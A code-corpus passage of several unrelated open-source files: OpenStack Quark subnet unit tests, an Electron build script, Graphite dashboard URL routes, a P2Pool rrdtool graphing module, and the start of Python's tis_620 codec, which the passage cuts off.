cidr="192.168.1.1/24",
network_id=1))
with self._stubs(s["subnet"]) as (subnet_create):
resp = self.plugin.create_subnet(self.context, s)
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(resp["allocation_pools"], pools)
def test_create_subnet_allocation_pools_empty_list(self):
pools = []
s = dict(subnet=dict(
allocation_pools=pools,
cidr="192.168.1.1/24",
network_id=1))
with self._stubs(s["subnet"]) as (subnet_create):
resp = self.plugin.create_subnet(self.context, s)
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(resp["allocation_pools"], pools)
# TODO(amir): Refactor the tests to test individual subnet attributes.
# * copy.deepcopy was necessary to maintain tests on keys, which is a bit ugly.
# * workaround is also in place for lame ATTR_NOT_SPECIFIED object()
class TestQuarkCreateSubnet(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, subnet=None, network=None, routes=None, dns=None):
if network:
net = models.Network()
net.update(network)
network = net
subnet_mod = models.Subnet(network=models.Network())
dns_ips = subnet.pop("dns_nameservers", [])
host_routes = subnet.pop("host_routes", [])
subnet_mod.update(subnet)
subnet["dns_nameservers"] = dns_ips
subnet["host_routes"] = host_routes
routes = routes or []
dns = dns or []
route_models = [models.Route(**r) for r in routes]
dns_models = [models.DNSNameserver(**d) for d in dns]
with contextlib.nested(
mock.patch("quark.db.api.subnet_create"),
mock.patch("quark.db.api.network_find"),
mock.patch("quark.db.api.dns_create"),
mock.patch("quark.db.api.route_create"),
) as (subnet_create, net_find, dns_create, route_create):
subnet_create.return_value = subnet_mod
net_find.return_value = network
route_create.side_effect = route_models
dns_create.side_effect = dns_models
yield subnet_create, dns_create, route_create
def test_create_subnet(self):
routes = [dict(cidr="0.0.0.0/0", gateway="0.0.0.0")]
subnet = dict(
subnet=dict(network_id=1,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="172.16.0.0/24", gateway_ip="0.0.0.0",
dns_nameservers=neutron_attrs.ATTR_NOT_SPECIFIED,
host_routes=neutron_attrs.ATTR_NOT_SPECIFIED,
enable_dhcp=None))
network = dict(network_id=1)
with self._stubs(
subnet=subnet["subnet"],
network=network,
routes=routes
) as (subnet_create, dns_create, route_create):
dns_nameservers = subnet["subnet"].pop("dns_nameservers")
host_routes = subnet["subnet"].pop("host_routes")
subnet_request = copy.deepcopy(subnet)
subnet_request["subnet"]["dns_nameservers"] = dns_nameservers
subnet_request["subnet"]["host_routes"] = host_routes
res = self.plugin.create_subnet(self.context,
subnet_request)
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 1)
for key in subnet["subnet"].keys():
if key == "host_routes":
self.assertEqual(res[key][0]["destination"], "0.0.0.0/0")
self.assertEqual(res[key][0]["nexthop"], "0.0.0.0")
else:
self.assertEqual(res[key], subnet["subnet"][key])
def test_create_subnet_no_network_fails(self):
subnet = dict(subnet=dict(network_id=1))
with self._stubs(subnet=dict(), network=None):
with self.assertRaises(exceptions.NetworkNotFound):
self.plugin.create_subnet(self.context, subnet)
def test_create_subnet_no_gateway_ip_defaults(self):
routes = [dict(cidr="0.0.0.0/0", gateway="172.16.0.1")]
subnet = dict(
subnet=dict(network_id=1,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="172.16.0.0/24",
gateway_ip=neutron_attrs.ATTR_NOT_SPECIFIED,
dns_nameservers=neutron_attrs.ATTR_NOT_SPECIFIED,
enable_dhcp=None))
network = dict(network_id=1)
with self._stubs(
subnet=subnet["subnet"],
network=network,
routes=routes
) as (subnet_create, dns_create, route_create):
dns_nameservers = subnet["subnet"].pop("dns_nameservers")
gateway_ip = subnet["subnet"].pop("gateway_ip")
subnet_request = copy.deepcopy(subnet)
subnet_request["subnet"]["dns_nameservers"] = dns_nameservers
subnet_request["subnet"]["gateway_ip"] = gateway_ip
res = self.plugin.create_subnet(self.context, subnet_request)
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 1)
for key in subnet["subnet"].keys():
if key == "gateway_ip":
self.assertEqual(res[key], "172.16.0.1")
elif key == "host_routes":
self.assertEqual(res[key][0]["destination"], "0.0.0.0/0")
self.assertEqual(res[key][0]["nexthop"], "172.16.0.1")
else:
self.assertEqual(res[key], subnet["subnet"][key])
def test_create_subnet_dns_nameservers(self):
routes = [dict(cidr="0.0.0.0/0", gateway="0.0.0.0")]
dns_ns = [dict(ip="4.2.2.1"), dict(ip="4.2.2.2")]
subnet = dict(
subnet=dict(network_id=1,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="172.16.0.0/24", gateway_ip="0.0.0.0",
dns_nameservers=["4.2.2.1", "4.2.2.2"],
enable_dhcp=None))
network = dict(network_id=1)
with self._stubs(
subnet=subnet["subnet"],
network=network,
routes=routes,
dns=dns_ns
) as (subnet_create, dns_create, route_create):
res = self.plugin.create_subnet(self.context,
copy.deepcopy(subnet))
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(dns_create.call_count, 2)
self.assertEqual(route_create.call_count, 1)
for key in subnet["subnet"].keys():
if key == "host_routes":
self.assertEqual(res[key][0]["destination"], "0.0.0.0/0")
self.assertEqual(res[key][0]["nexthop"], "0.0.0.0")
else:
self.assertEqual(res[key], subnet["subnet"][key])
def test_create_subnet_routes(self):
routes = [dict(cidr="1.1.1.1/8", gateway="172.16.0.4"),
dict(cidr="0.0.0.0/0", gateway="0.0.0.0")]
subnet = dict(
subnet=dict(network_id=1,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="172.16.0.0/24", gateway_ip="0.0.0.0",
dns_nameservers=neutron_attrs.ATTR_NOT_SPECIFIED,
host_routes=[{"destination": "1.1.1.1/8",
"nexthop": "172.16.0.4"}],
enable_dhcp=None))
network = dict(network_id=1)
with self._stubs(
subnet=subnet["subnet"],
network=network,
routes=routes
) as (subnet_create, dns_create, route_create):
dns_nameservers = subnet["subnet"].pop("dns_nameservers")
subnet_request = copy.deepcopy(subnet)
subnet_request["subnet"]["dns_nameservers"] = dns_nameservers
res = self.plugin.create_subnet(self.context, subnet_request)
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 2)
for key in subnet["subnet"].keys():
if key == "host_routes":
res_tuples = [(r["destination"], r["nexthop"])
for r in res[key]]
self.assertIn(("1.1.1.1/8", "172.16.0.4"), res_tuples)
self.assertIn(("0.0.0.0/0", "0.0.0.0"), res_tuples)
self.assertEqual(2, len(res_tuples))
else:
self.assertEqual(res[key], subnet["subnet"][key])
def test_create_subnet_default_route(self):
routes = [dict(cidr="0.0.0.0/0", gateway="172.16.0.4")]
subnet = dict(
subnet=dict(network_id=1,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="172.16.0.0/24",
gateway_ip=neutron_attrs.ATTR_NOT_SPECIFIED,
dns_nameservers=neutron_attrs.ATTR_NOT_SPECIFIED,
host_routes=[{"destination": "0.0.0.0/0",
"nexthop": "172.16.0.4"}],
enable_dhcp=None))
network = dict(network_id=1)
with self._stubs(
subnet=subnet["subnet"],
network=network,
routes=routes
) as (subnet_create, dns_create, route_create):
dns_nameservers = subnet["subnet"].pop("dns_nameservers")
gateway_ip = subnet["subnet"].pop("gateway_ip")
subnet_request = copy.deepcopy(subnet)
subnet_request["subnet"]["dns_nameservers"] = dns_nameservers
subnet_request["subnet"]["gateway_ip"] = gateway_ip
res = self.plugin.create_subnet(self.context, subnet_request)
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 1)
for key in subnet["subnet"].keys():
if key == "host_routes":
res_tuples = [(r["destination"], r["nexthop"])
for r in res[key]]
self.assertEqual([("0.0.0.0/0", "172.16.0.4")], res_tuples)
elif key == "gateway_ip":
self.assertEqual(res[key], "172.16.0.4")
else:
self.assertEqual(res[key], subnet["subnet"][key])
def test_create_subnet_default_route_gateway_ip(self):
"""If default route (host_routes) and gateway_ip are both provided,
then host_route takes precedence.
"""
routes = [dict(cidr="0.0.0.0/0", gateway="172.16.0.4")]
subnet = dict(
subnet=dict(network_id=1,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="172.16.0.0/24",
gateway_ip="172.16.0.3",
dns_nameservers=neutron_attrs.ATTR_NOT_SPECIFIED,
host_routes=[{"destination": "0.0.0.0/0",
"nexthop": "172.16.0.4"}],
enable_dhcp=None))
network = dict(network_id=1)
with self._stubs(
subnet=subnet["subnet"],
network=network,
routes=routes
) as (subnet_create, dns_create, route_create):
dns_nameservers = subnet["subnet"].pop("dns_nameservers")
subnet_request = copy.deepcopy(subnet)
subnet_request["subnet"]["dns_nameservers"] = dns_nameservers
res = self.plugin.create_subnet(self.context, subnet_request)
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 1)
for key in subnet["subnet"].keys():
if key == "host_routes":
res_tuples = [(r["destination"], r["nexthop"])
for r in res[key]]
self.assertEqual([("0.0.0.0/0", "172.16.0.4")], res_tuples)
elif key == "gateway_ip":
self.assertEqual(res[key], "172.16.0.4")
else:
self.assertEqual(res[key], subnet["subnet"][key])
class TestQuarkUpdateSubnet(test_quark_plugin.TestQuarkPlugin):
DEFAULT_ROUTE = [dict(destination="0.0.0.0/0",
nexthop="172.16.0.1")]
@contextlib.contextmanager
def _stubs(self, host_routes=None, new_routes=None, find_routes=True,
new_dns_servers=None):
if host_routes is None:
host_routes = []
if new_routes:
new_routes = [models.Route(cidr=r["destination"],
gateway=r["nexthop"],
subnet_id=1)
for r in new_routes]
if new_dns_servers:
new_dns_servers = [models.DNSNameserver(
ip=ip,
subnet_id=1) for ip in new_dns_servers]
subnet = dict(
id=1,
network_id=1,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="172.16.0.0/24",
host_routes=host_routes,
dns_nameservers=["4.2.2.1", "4.2.2.2"],
enable_dhcp=None)
dns_ips = subnet.pop("dns_nameservers", [])
host_routes = subnet.pop("host_routes", [])
subnet_mod = models.Subnet()
subnet_mod.update(subnet)
subnet_mod["dns_nameservers"] = [models.DNSNameserver(ip=ip)
for ip in dns_ips]
subnet_mod["routes"] = [models.Route(cidr=r["destination"],
gateway=r["nexthop"],
subnet_id=subnet_mod["id"])
for r in host_routes]
with contextlib.nested(
mock.patch("quark.db.api.subnet_find"),
mock.patch("quark.db.api.subnet_update"),
mock.patch("quark.db.api.dns_create"),
mock.patch("quark.db.api.route_find"),
mock.patch("quark.db.api.route_update"),
mock.patch("quark.db.api.route_create"),
) as (subnet_find, subnet_update,
dns_create,
route_find, route_update, route_create):
subnet_find.return_value = subnet_mod
route_find.return_value = subnet_mod["routes"][0] \
if subnet_mod["routes"] and find_routes else None
new_subnet_mod = models.Subnet(network=models.Network())
new_subnet_mod.update(subnet_mod)
if new_routes:
new_subnet_mod["routes"] = new_routes
if new_dns_servers:
new_subnet_mod["dns_nameservers"] = new_dns_servers
subnet_update.return_value = new_subnet_mod
yield dns_create, route_update, route_create
def test_update_subnet_not_found(self):
with self.assertRaises(exceptions.SubnetNotFound):
self.plugin.update_subnet(self.context, 1, {})
def test_update_subnet_dns_nameservers(self):
new_dns_servers = ["1.1.1.2"]
with self._stubs(
host_routes=self.DEFAULT_ROUTE,
new_dns_servers=new_dns_servers
) as (dns_create, route_update, route_create):
req = dict(subnet=dict(dns_nameservers=new_dns_servers))
res = self.plugin.update_subnet(self.context,
1,
req)
self.assertEqual(dns_create.call_count, 1)
self.assertEqual(route_create.call_count, 0)
self.assertEqual(res["dns_nameservers"], new_dns_servers)
def test_update_subnet_routes(self):
new_routes = [dict(destination="10.0.0.0/24",
nexthop="1.1.1.1")]
with self._stubs(
host_routes=self.DEFAULT_ROUTE,
new_routes=new_routes
) as (dns_create, route_update, route_create):
req = dict(subnet=dict(
host_routes=new_routes))
res = self.plugin.update_subnet(self.context, 1, req)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 1)
self.assertEqual(len(res["host_routes"]), 1)
self.assertEqual(res["host_routes"][0]["destination"],
"10.0.0.0/24")
self.assertEqual(res["host_routes"][0]["nexthop"],
"1.1.1.1")
self.assertIsNone(res["gateway_ip"])
def test_update_subnet_gateway_ip_with_default_route_in_db(self):
with self._stubs(
host_routes=self.DEFAULT_ROUTE,
new_routes=[dict(destination="0.0.0.0/0", nexthop="1.2.3.4")]
) as (dns_create, route_update, route_create):
req = dict(subnet=dict(gateway_ip="1.2.3.4"))
res = self.plugin.update_subnet(self.context, 1, req)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 0)
self.assertEqual(route_update.call_count, 1)
self.assertEqual(len(res["host_routes"]), 1)
self.assertEqual(res["host_routes"][0]["destination"],
"0.0.0.0/0")
self.assertEqual(res["host_routes"][0]["nexthop"],
"1.2.3.4")
self.assertEqual(res["gateway_ip"], "1.2.3.4")
def test_update_subnet_gateway_ip_with_non_default_route_in_db(self):
with self._stubs(
host_routes=[dict(destination="1.1.1.1/8", nexthop="9.9.9.9")],
find_routes=False,
new_routes=[dict(destination="1.1.1.1/8", nexthop="9.9.9.9"),
dict(destination="0.0.0.0/0", nexthop="1.2.3.4")]
) as (dns_create, route_update, route_create):
req = dict(subnet=dict(gateway_ip="1.2.3.4"))
res = self.plugin.update_subnet(self.context, 1, req)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 1)
self.assertEqual(res["gateway_ip"], "1.2.3.4")
self.assertEqual(len(res["host_routes"]), 2)
res_tuples = [(r["destination"], r["nexthop"])
for r in res["host_routes"]]
self.assertIn(("0.0.0.0/0", "1.2.3.4"), res_tuples)
self.assertIn(("1.1.1.1/8", "9.9.9.9"), res_tuples)
def test_update_subnet_gateway_ip_without_default_route_in_db(self):
with self._stubs(
host_routes=None,
new_routes=[dict(destination="0.0.0.0/0", nexthop="1.2.3.4")]
) as (dns_create, route_update, route_create):
req = dict(subnet=dict(gateway_ip="1.2.3.4"))
res = self.plugin.update_subnet(self.context, 1, req)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 1)
self.assertEqual(len(res["host_routes"]), 1)
self.assertEqual(res["host_routes"][0]["destination"],
"0.0.0.0/0")
self.assertEqual(res["host_routes"][0]["nexthop"],
"1.2.3.4")
self.assertEqual(res["gateway_ip"], "1.2.3.4")
def test_update_subnet_gateway_ip_with_default_route_in_args(self):
new_routes = [dict(destination="0.0.0.0/0",
nexthop="4.3.2.1")]
with self._stubs(
host_routes=self.DEFAULT_ROUTE,
new_routes=new_routes
) as (dns_create, route_update, route_create):
req = dict(subnet=dict(
host_routes=new_routes,
gateway_ip="1.2.3.4"))
res = self.plugin.update_subnet(self.context, 1, req)
self.assertEqual(dns_create.call_count, 0)
self.assertEqual(route_create.call_count, 1)
self.assertEqual(len(res["host_routes"]), 1)
self.assertEqual(res["host_routes"][0]["destination"],
"0.0.0.0/0")
self.assertEqual(res["host_routes"][0]["nexthop"],
"4.3.2.1")
self.assertEqual(res["gateway_ip"], "4.3.2.1")
class TestQuarkDeleteSubnet(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, subnet, ips):
ip_mods = []
subnet_mod = None
if subnet:
subnet_mod = models.Subnet()
subnet_mod.update(subnet)
for ip in ips:
ip_mod = models.IPAddress()
ip_mod.update(ip)
ip_mods.append(ip_mod)
db_mod = "quark.db.api"
with contextlib.nested(
mock.patch("%s.subnet_find" % db_mod),
mock.patch("%s.subnet_delete" % db_mod)
) as (sub_find, sub_delete):
if subnet_mod:
subnet_mod.allocated_ips = ip_mods
sub_find.return_value = subnet_mod
yield sub_delete
def test_delete_subnet(self):
subnet = dict(id=1)
with self._stubs(subnet=subnet, ips=[]) as sub_delete:
self.plugin.delete_subnet(self.context, 1)
self.assertTrue(sub_delete.called)
def test_delete_subnet_no_subnet_fails(self):
with self._stubs(subnet=None, ips=[]):
with self.assertRaises(exceptions.SubnetNotFound):
self.plugin.delete_subnet(self.context, 1)
def test_delete_subnet_has_allocated_ips_fails(self):
subnet = dict(id=1)
with self._stubs(subnet=subnet, ips=[{}]):
with self.assertRaises(exceptions.SubnetInUse):
self.plugin.delete_subnet(self.context, 1)
class TestSubnetsNotification(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, s, deleted_at=None):
class FakeContext(object):
def __enter__(*args, **kwargs):
pass
def __exit__(*args, **kwargs):
pass
self.context.session.begin = FakeContext
s["network"] = models.Network()
s["network"]["created_at"] = s["created_at"]
subnet = models.Subnet(**s)
db_mod = "quark.db.api"
api_mod = "neutron.openstack.common.notifier.api"
time_mod = "neutron.openstack.common.timeutils"
with contextlib.nested(
mock.patch("%s.subnet_find" % db_mod),
mock.patch("%s.network_find" % db_mod),
mock.patch("%s.subnet_create" % db_mod),
mock.patch("%s.ip_policy_create" % db_mod),
mock.patch("%s.subnet_delete" % db_mod),
mock.patch("%s.notify" % api_mod),
mock.patch("%s.utcnow" % time_mod)
) as (sub_find, net_find, sub_create, pol_cre, sub_del, notify,
time_func):
sub_create.return_value = subnet
sub_find.return_value = subnet
time_func.return_value = deleted_at
yield notify
def test_create_subnet_notification(self):
s = dict(network_id=1, cidr="192.168.10.0/24",
tenant_id=1, id=1, created_at="123")
with self._stubs(s) as notify:
self.plugin.create_subnet(self.context, dict(subnet=s))
notify.assert_called_once_with(
self.context,
notifier_api.publisher_id("network"),
"ip_block.create",
notifier_api.CONF.default_notification_level,
dict(tenant_id=s["tenant_id"],
ip_block_id=s["id"],
created_at=s["created_at"]))
def test_delete_subnet_notification(self):
now = time.strftime('%Y-%m-%d %H:%M:%S')
later = time.strftime('%Y-%m-%d %H:%M:%S')
s = dict(tenant_id=1, id=1, created_at=now)
with self._stubs(s, deleted_at=later) as notify:
self.plugin.delete_subnet(self.context, 1)
notify.assert_called_once_with(
self.context,
notifier_api.publisher_id("network"),
"ip_block.delete",
notifier_api.CONF.default_notification_level,
dict(tenant_id=s["tenant_id"],
created_at=s["created_at"],
ip_block_id=s["id"],
deleted_at=later))
class TestQuarkDiagnoseSubnets(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, subnets=None, routes=None):
if routes is None:
routes = []
route_models = []
for route in routes:
r = models.Route()
r.update(route)
route_models.append(r)
if isinstance(subnets, list):
subnet_models = []
for subnet in subnets:
s_dict = subnet.copy()
s_dict["routes"] = route_models
s = models.Subnet(network=models.Network())
s.update(s_dict)
subnet_models.append(s)
elif subnets:
mod = models.Subnet(network=models.Network())
mod.update(subnets)
mod["routes"] = route_models
subnet_models = mod
else:
subnet_models = None
with mock.patch("quark.db.api.subnet_find") as subnet_find:
subnet_find.return_value = subnet_models
yield
def test_diagnose_subnet_with_wildcard_id_no_existing_subnets(self):
with self._stubs(subnets=[], routes=[]):
expected = {'subnets': []}
actual = self.plugin.diagnose_subnet(self.context, "*", None)
self.assertEqual(expected, actual)
def test_diagnose_subnet_with_wildcard_with_existing_subnets(self):
subnet_id = str(uuid.uuid4())
route = dict(id=1, cidr="0.0.0.0/0", gateway="192.168.0.1")
subnet = dict(id=subnet_id, network_id=1, name=subnet_id,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="192.168.0.0/24", gateway_ip="192.168.0.1",
dns_nameservers=[],
enable_dhcp=None)
with self._stubs(subnets=[subnet], routes=[route]):
actual = self.plugin.diagnose_subnet(self.context, "*", None)
self.maxDiff = None
self.assertEqual(subnet["id"], actual["subnets"][0]["id"])
def test_diagnose_subnet_with_regular_id(self):
subnet_id = "12345"
route = dict(id=1, cidr="0.0.0.0/0", gateway="192.168.0.1")
subnet = dict(id=subnet_id, network_id=1, name=subnet_id,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="192.168.0.0/24", gateway_ip="192.168.0.1",
dns_nameservers=[],
enable_dhcp=None)
with self._stubs(subnets=subnet, routes=[route]):
actual = self.plugin.diagnose_subnet(self.context, subnet_id, None)
self.assertEqual(subnet["id"], actual["subnets"]["id"])
| apache-2.0 |
mattdesl/electron | script/build.py | 155 | 1166 | #!/usr/bin/env python
import argparse
import os
import subprocess
import sys
from lib.util import atom_gyp
CONFIGURATIONS = ['Release', 'Debug']
SOURCE_ROOT = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))
def main():
os.chdir(SOURCE_ROOT)
ninja = os.path.join('vendor', 'depot_tools', 'ninja')
if sys.platform == 'win32':
ninja += '.exe'
args = parse_args()
for config in args.configuration:
build_path = os.path.join('out', config[0])
ret = subprocess.call([ninja, '-C', build_path, args.target])
if ret != 0:
sys.exit(ret)
def parse_args():
parser = argparse.ArgumentParser(description='Build project')
parser.add_argument('-c', '--configuration',
help='Build with Release or Debug configuration',
nargs='+',
default=CONFIGURATIONS,
required=False)
parser.add_argument('-t', '--target',
help='Build specified target',
default=atom_gyp()['project_name%'],
required=False)
return parser.parse_args()
if __name__ == '__main__':
sys.exit(main())
| mit |
goir/graphite-web | webapp/graphite/dashboard/urls.py | 36 | 1457 | from django.conf.urls import patterns, url
from . import views
urlpatterns = patterns(
'',
url('^save/(?P<name>[^/]+)', views.save, name='dashboard_save'),
url('^save_template/(?P<name>[^/]+)/(?P<key>[^/]+)',
views.save_template, name='dashboard_save_template'),
url('^load/(?P<name>[^/]+)', views.load, name='dashboard_load'),
url('^load/(?P<name>[^/]+)/(?P<val>[^/]+)', views.load_template,
name='dashboard_load_template'),
url('^load_template/(?P<name>[^/]+)/(?P<val>[^/]+)', views.load_template,
name='dashboard_load_template'),
url('^delete/(?P<name>[^/]+)', views.delete, name='dashboard_delete'),
url('^create-temporary/?', views.create_temporary,
name='dashboard_create_temporary'),
url('^email', views.email, name='dashboard_email'),
url('^find/', views.find, name='dashboard_find'),
url('^delete_template/(?P<name>[^/]+)', views.delete_template,
name='dashboard_delete_template'),
url('^find_template/', views.find_template,
name='dashboard_find_template'),
url('^login/?', views.user_login, name='dashboard_login'),
url('^logout/?', views.user_logout, name='dashboard_logout'),
url('^help/', views.help, name='dashboard_help'),
url('^(?P<name>[^/]+)/(?P<val>[^/]+)', views.template,
name='dashboard_template'),
url('^(?P<name>[^/]+)', views.dashboard, name='dashboard'),
url('', views.dashboard, name='dashboard'),
)
| apache-2.0 |
sje397/p2pool | p2pool/graphs.py | 2 | 8856 | import hashlib
import os
import tempfile
from twisted.web import resource
try:
import rrdtool
except ImportError:
class Resource(resource.Resource):
def __init__(self):
resource.Resource.__init__(self)
self.putChild('', self)
def render_GET(self, request):
if not request.path.endswith('/'):
request.redirect(request.path + '/')
return ''
request.setHeader('Content-Type', 'text/html')
return '<html><head><title>P2Pool Graphs</title></head><body><p>Install python-rrdtool!</p></body></html>'
class Grapher(object):
def __init__(self, *args): pass
def get_resource(self): return Resource()
def __getattr__(self, name): return lambda *args, **kwargs: None
else:
class Renderer(resource.Resource):
def __init__(self, arg_func):
self.arg_func = arg_func
def render_GET(self, request):
handle, filename = tempfile.mkstemp()
os.close(handle)
rrdtool.graph(filename, '--imgformat', 'PNG', *self.arg_func())
request.setHeader('Content-Type', 'image/png')
return open(filename, 'rb').read()
class Resource(resource.Resource):
def __init__(self, grapher):
resource.Resource.__init__(self)
self.grapher = grapher
self.putChild('', self)
self.putChild('poolrate_day', Renderer(lambda: ['--lower-limit', '0', '-M', '-E', '--start', '-1d',
'DEF:A=%s.poolrate:poolrate:AVERAGE' % (self.grapher.path,), 'LINE1:A#0000FF:Total (last day)',
'DEF:C=%s.stalerate:stalerate:AVERAGE' % (self.grapher.path,), 'LINE1:C#FF0000:Total stale (last day)',
'DEF:B=%s.localrate:localrate:AVERAGE' % (self.grapher.path,), 'LINE1:B#0000FF:Local (last day)']))
self.putChild('poolrate_week', Renderer(lambda: ['--lower-limit', '0', '-M', '-E', '--start', '-1w',
'DEF:A=%s.poolrate:poolrate:AVERAGE' % (self.grapher.path,), 'LINE1:A#0000FF:Total (last week)',
'DEF:C=%s.stalerate:stalerate:AVERAGE' % (self.grapher.path,), 'LINE1:C#FF0000:Total stale (last week)',
'DEF:B=%s.localrate:localrate:AVERAGE' % (self.grapher.path,), 'LINE1:B#0000FF:Local (last week)']))
self.putChild('poolrate_month', Renderer(lambda: ['--lower-limit', '0', '-M', '-E', '--start', '-1m',
'DEF:A=%s.poolrate:poolrate:AVERAGE' % (self.grapher.path,), 'LINE1:A#0000FF:Total (last month)',
'DEF:C=%s.stalerate:stalerate:AVERAGE' % (self.grapher.path,), 'LINE1:C#FF0000:Total stale (last month)',
'DEF:B=%s.localrate:localrate:AVERAGE' % (self.grapher.path,), 'LINE1:B#0000FF:Local (last month)']))
def get_lines():
res = []
for i, x in enumerate(os.listdir(os.path.dirname(self.grapher.path))):
x2 = os.path.join(os.path.dirname(self.grapher.path), x)
if not x2.startswith(self.grapher.path + '.') or not x2.endswith('.localminer'):
continue
name = x2[len(self.grapher.path + '.'):-len('.localminer')].decode('hex')
res.extend([
'DEF:%i=%s:localminer:AVERAGE' % (i, x2),
'AREA:%i#%s:%s%s' % (i, hashlib.sha256(name).hexdigest()[:6], name, ':STACK' if i != 0 else ''),
])
return res
self.putChild('localrate_day', Renderer(lambda: ['--lower-limit', '0', '-M', '-E', '--start', '-1d'] + get_lines() + [
'DEF:A=%s.localrate:localrate:AVERAGE' % (self.grapher.path,), 'LINE1:A#0000FF:Total (last day)',
'DEF:B=%s.localdeadrate:localdeadrate:AVERAGE' % (self.grapher.path,), 'LINE1:B#FF0000:Dead (last day)']))
self.putChild('localrate_week', Renderer(lambda: ['--lower-limit', '0', '-M', '-E', '--start', '-1w'] + get_lines() + [
'DEF:A=%s.localrate:localrate:AVERAGE' % (self.grapher.path,), 'LINE1:A#0000FF:Total (last week)',
'DEF:B=%s.localdeadrate:localdeadrate:AVERAGE' % (self.grapher.path,), 'LINE1:B#FF0000:Dead (last week)']))
self.putChild('localrate_month', Renderer(lambda: ['--lower-limit', '0', '-M', '-E', '--start', '-1m'] + get_lines() + [
'DEF:A=%s.localrate:localrate:AVERAGE' % (self.grapher.path,), 'LINE1:A#0000FF:Total (last month)',
'DEF:B=%s.localdeadrate:localdeadrate:AVERAGE' % (self.grapher.path,), 'LINE1:B#FF0000:Dead (last month)']))
def render_GET(self, request):
if not request.path.endswith('/'):
request.redirect(request.path + '/')
return ''
request.setHeader('Content-Type', 'text/html')
return '''<html><head><title>P2Pool Graphs</title></head><body><h1>P2Pool Graphs</h1>
<h2>Pool hash rate:</h2>
<p><img style="display:inline" src="poolrate_day"/> <img style="display:inline" src="poolrate_week"/> <img style="display:inline" src="poolrate_month"/></p>
<h2>Local hash rate:</h2>
<p><img style="display:inline" src="localrate_day"/> <img style="display:inline" src="localrate_week"/> <img style="display:inline" src="localrate_month"/></p>
</body></html>'''
class Grapher(object):
def __init__(self, path):
self.path = path
if not os.path.exists(self.path + '.poolrate'):
rrdtool.create(self.path + '.poolrate', '--step', '300',
'DS:poolrate:GAUGE:600:U:U',
'RRA:AVERAGE:0.5:1:288', # last day
'RRA:AVERAGE:0.5:7:288', # last week
'RRA:AVERAGE:0.5:30:288', # last month
)
if not os.path.exists(self.path + '.stalerate'):
rrdtool.create(self.path + '.stalerate', '--step', '300',
'DS:stalerate:GAUGE:600:U:U',
'RRA:AVERAGE:0.5:1:288', # last day
'RRA:AVERAGE:0.5:7:288', # last week
'RRA:AVERAGE:0.5:30:288', # last month
)
if not os.path.exists(self.path + '.localrate'):
rrdtool.create(self.path + '.localrate', '--step', '300',
'DS:localrate:ABSOLUTE:43200:U:U',
'RRA:AVERAGE:0.5:1:288', # last day
'RRA:AVERAGE:0.5:7:288', # last week
'RRA:AVERAGE:0.5:30:288', # last month
)
if not os.path.exists(self.path + '.localdeadrate'):
rrdtool.create(self.path + '.localdeadrate', '--step', '300',
'DS:localdeadrate:ABSOLUTE:43200:U:U',
'RRA:AVERAGE:0.5:1:288', # last day
'RRA:AVERAGE:0.5:7:288', # last week
'RRA:AVERAGE:0.5:30:288', # last month
)
def add_poolrate_point(self, poolrate, stalerate):
rrdtool.update(self.path + '.poolrate', '-t', 'poolrate', 'N:%f' % (poolrate,))
rrdtool.update(self.path + '.stalerate', '-t', 'stalerate', 'N:%f' % (stalerate,))
def add_localrate_point(self, hashes, dead):
rrdtool.update(self.path + '.localrate', '-t', 'localrate', 'N:%f' % (hashes,))
rrdtool.update(self.path + '.localdeadrate', '-t', 'localdeadrate', 'N:%f' % (hashes if dead else 0,))
def add_localminer_point(self, name, hashes, dead):
path = self.path + '.' + name.encode('hex')
if not os.path.exists(path + '.localminer'):
rrdtool.create(path + '.localminer', '--step', '300',
'DS:localminer:ABSOLUTE:43200:U:U',
'RRA:AVERAGE:0.5:1:288', # last day
'RRA:AVERAGE:0.5:7:288', # last week
'RRA:AVERAGE:0.5:30:288', # last month
)
if not os.path.exists(path + '.localdeadminer'):
rrdtool.create(path + '.localdeadminer', '--step', '300',
'DS:localdeadminer:ABSOLUTE:43200:U:U',
'RRA:AVERAGE:0.5:1:288', # last day
'RRA:AVERAGE:0.5:7:288', # last week
'RRA:AVERAGE:0.5:30:288', # last month
)
rrdtool.update(path + '.localminer', '-t', 'localminer', 'N:%f' % (hashes,))
rrdtool.update(path + '.localdeadminer', '-t', 'localdeadminer', 'N:%f' % (hashes if dead else 0,))
def get_resource(self):
return Resource(self)
| gpl-3.0 |
frank10704/DF_GCS_W | MissionPlanner-master/Lib/encodings/tis_620.py | 93 | 12863 | """ Python Character Mapping Codec tis_620 generated from 'python-mappings/TIS-620.TXT' with gencodec.py.
"""#"
import codecs
### Codec APIs
class Codec(codecs.Codec):
def encode(self,input,errors='strict'):
return codecs.charmap_encode(input,errors,encoding_table)
def decode(self,input,errors='strict'):
return codecs.charmap_decode(input,errors,decoding_table)
